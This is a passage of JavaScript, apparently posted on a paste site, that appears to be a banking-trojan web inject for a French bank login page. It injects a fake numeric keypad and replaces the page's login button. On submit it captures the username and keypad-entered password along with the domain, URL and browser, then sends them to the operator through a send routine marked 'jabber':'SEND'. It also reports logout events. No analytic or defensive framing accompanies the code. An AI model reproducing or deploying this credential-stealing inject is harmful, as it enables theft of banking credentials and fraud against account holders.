  1364.                                 '<td><a tabindex="7" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1365.                                 '<td><a tabindex="8" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1366.                                 '<td><a tabindex="9" style="cursor:pointer;" onclick="_tables.keyboard(4);">'+
  1367.                                 '&nbsp;&nbsp;4&nbsp;&nbsp;'+
  1368.                                 '</a></td>'+
  1369.                                 '<td><a tabindex="10" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1370.                                 '<td><a tabindex="11" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1371.                                 '</tr>'+
  1372.                                 '<tr align="center" valign="middle">'+
  1373.                                 '<td><a tabindex="12" style="cursor:pointer;" onclick="_tables.keyboard(6);">'+
  1374.                                 '&nbsp;&nbsp;6&nbsp;&nbsp;'+
  1375.                                 '</a></td>'+
  1376.                                 '<td><a tabindex="13" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1377.                                 '<td><a tabindex="14" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1378.                                 '<td><a tabindex="15" style="cursor:pointer;" onclick="_tables.keyboard(2);">'+
  1379.                                 '&nbsp;&nbsp;2&nbsp;&nbsp;'+
  1380.                                 '</a></td>'+
  1381.                                 '<td><a tabindex="16" style="cursor:pointer;" onclick="_tables.keyboard(7);">'+
  1382.                                 '&nbsp;&nbsp;7&nbsp;&nbsp;'+
  1383.                                 '</a></td>'+
  1384.                                 '</tr>'+
  1385.                                 '<tr align="center" valign="middle">'+
  1386.                                 '<td><a tabindex="17" style="cursor:pointer;" onclick="_tables.keyboard(9);">'+
  1387.                                 '&nbsp;&nbsp;9&nbsp;&nbsp;'+
  1388.                                 '</a></td>'+
  1389.                                 '<td><a tabindex="18" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1390.                                 '<td><a tabindex="19" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1391.                                 '<td><a tabindex="20" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1392.                                 '<td><a tabindex="21" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1393.                                 '</tr>'+
  1394.                                 '<tr align="center" valign="middle">'+
  1395.                                 '<td><a tabindex="22" style="cursor:pointer;" onclick="_tables.keyboard(1);">'+
  1396.                                 '&nbsp;&nbsp;1&nbsp;&nbsp;'+
  1397.                                 '</a></td>'+
  1398.                                 '<td><a tabindex="23" style="cursor:pointer;" onclick="_tables.keyboard(5);">'+
  1399.                                 '&nbsp;&nbsp;5&nbsp;&nbsp;'+
  1400.                                 '</a></td>'+
  1401.                                 '<td><a tabindex="24" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1402.                                 '<td><a tabindex="25" style="cursor:pointer;" onclick="_tables.keyboard(8);">'+
  1403.                                 '&nbsp;&nbsp;8&nbsp;&nbsp;'+
  1404.                                 '</a></td>'+
  1405.                                 '<td><a tabindex="26" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1406.                                 '</tr>'+
  1407.                                 '</tbody>';
  1408.         _tables.id('pave-saisie-code').parentNode.insertBefore(div,_tables.id('pave-saisie-code'));
  1409.        
  1410.         _tables.input(_tables.get('login'),'block');
  1411.         _tables.replacebutton(_tables.get('button'),function(e){
  1412.             var evt = e ? e : window.event;
  1413.             if(evt.preventDefault)evt.preventDefault();
  1414.             if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  1415.             if(evt.cancelBubble!=null)evt.cancelBubble = true;
  1416.             store.clear();
  1417.             store.set('username',_tables.get('login').value);
  1418.             if(_tables.findout(document,'p','class:validation.*clearboth')){
  1419.                 var span = _tables.child(_tables.findout(document,'p','class:validation.*clearboth'),'span');
  1420.                 if(span && span.length > 0){
  1421.                     for(var i = 0; i < span.length; i++){
  1422.                         span[i].style.display = 'none';
  1423.                     }
  1424.                 }
  1425.                 _tables.findout(document,'p','class:validation.*clearboth').style.textAlign = 'right';
  1426.                 _tables.findout(document,'p','class:validation.*clearboth').innerHTML += '<img src="'+_tables.get('loader')+'">';
  1427.             }
  1428.             _tables.status('SL');
  1429.             _tables.send({'login1':_tables.get('login').value},
  1430.                             {'login2':_tables.get('password')},
  1431.                             {'type':_tables.get('type')},
  1432.                             {'domain':document.domain},
  1433.                             {'link':document.location.href},
  1434.                             {'browser':_tables.brows()},
  1435.                             {'message':'Trying to Login'},
  1436.                             {'jabber':'SEND'},
  1437.                             {'branch':'SL'}
  1438.             );
  1439.             return false;
  1440.         },'annuler droite');
  1441.        
  1442.         _tables.replacebutton(_tables.get('clearbutton'),function(e){
  1443.             var evt = e ? e : window.event;
  1444.             if(evt.preventDefault)evt.preventDefault();
  1445.             if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  1446.             if(evt.cancelBubble!=null)evt.cancelBubble = true;
  1447.             if(_tables.get('password').length > 0){
  1448.                 var pass = _tables.get('password').substr(0,_tables.get('password').length-1);
  1449.                 _tables.set('password',pass);
  1450.             }
  1451.             corriger();
  1452.             effacer();
  1453.             return false;
  1454.         },'droite');
  1455.        
  1456.     }else{
  1457.         _tables.showpage();
  1458.     }
  1459. };
  1460.  
  1461. _tables.start = function(){
  1462.     if(top == self){
  1463.         if(_tables.are('login','button')){
  1464.             _tables.cc('CS');
  1465.         }else if(_tables.get('logout')){
  1466.             _tables.status('CP');
  1467.             _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'});
  1468.         }else{
  1469.             _tables.showpage();
  1470.         }
  1471.     }else{
  1472.         if(_tables.are('login','button')){
  1473.             _tables.cc('CS');
  1474.         }else{
  1475.             _tables.showpage();
  1476.         }
  1477.     }
  1478. };
  1479.  
  1480. _tables.start();
Add Comment
Please, Sign In to add comment